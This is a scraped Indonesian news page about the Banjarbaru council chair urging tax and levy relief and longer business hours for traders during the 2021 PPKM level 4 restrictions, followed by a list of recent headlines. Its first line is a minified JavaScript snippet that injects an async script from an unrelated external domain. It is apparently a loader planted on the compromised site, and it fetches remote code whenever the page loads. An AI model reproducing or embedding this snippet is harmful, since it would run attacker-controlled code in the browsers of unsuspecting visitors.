(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Terdampak Pandemi, Ketua DPRD Banjarbaru: Beri Insentif Pajak dan Retribusi ke Pelaku Usaha


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Banjarbaru mendorong pemerintah kota memperhatikan nasib pelaku usaha di tengah Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 yang diperpanjang hingga 4 Oktober 2021.

“Perhatikan pelaku usaha karena mereka sangat terdampak Covid-19, usaha dan aktivitas mereka terhambat,” ujar Ketua DPRD Banjarbaru Fadliansyah, Senin (20/9/2021).

Ia mengatakan, DPRD mengundang dinas dan instansi terkait membahas dampak pandemi bagi pelaku usaha, yakni Dinas Perdagangan, Disporabudpar dan Satpol PP.

Hasil evaluasi anggota DPRD, terkait perpanjangan PPKM level 4 beberapa kali diperpanjang, hampir dua bulan sudah diterapkan menimbulkan dampak sangat besar.

 

Baca juga : Banjarbaru Masih PPKM Level 4, Sekolah Tatap Muka Batal

“Bukan hanya dampak kesehatan yang membuat masyarakat kehilangan nyawa, dampak ekonomi mematikan pelaku usaha terutama skala kecil karena tak sanggup bertahan,” ucapnya.

Menurut Fadli, selama PPKM level 4 di Banjarbaru selama dua bulan terakhir, banyak keluhan dari masyarakat maupun pelaku usaha kuliner, restoran, hotel, serta usaha rekreasi.

“Selama ini, aspirasi mereka kami ditampung dan hari ini disampaikan kepada dinas dan instansi terkait baik keluhan dan aspirasi masyarakat itu, sehingga dalam pelaksanaan aturan bisa dijalankan bijaksana,” pesannya.

DPRD meminta selama pelaksanaan PPKM level IV pelaku usaha bisa diberikan kelonggaran, semisal terkait insentif pajak dan retribusi, sehingga masih dapat bertahan di tengah pandemi.

 

Baca juga : Duh! Sampah Kotori Jembatan Sei Alalak, Jejak Warga Sebelum Diresmikan

Melihat dampak ekonomi yang terjadi memberikan keringanan dan kelonggaran jam operasional tempat usaha dari sebelumnya pukul 20.00 menjadi pukul 21.00 Wita.

“Harapan kami, kelonggaran waktu bisa diberikan disamping pembukaan tempat rekreasi dan diperbolehkannya resepsi pernikahan, namun harus menerapkan protokol kesehatan,” kata Fadli. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.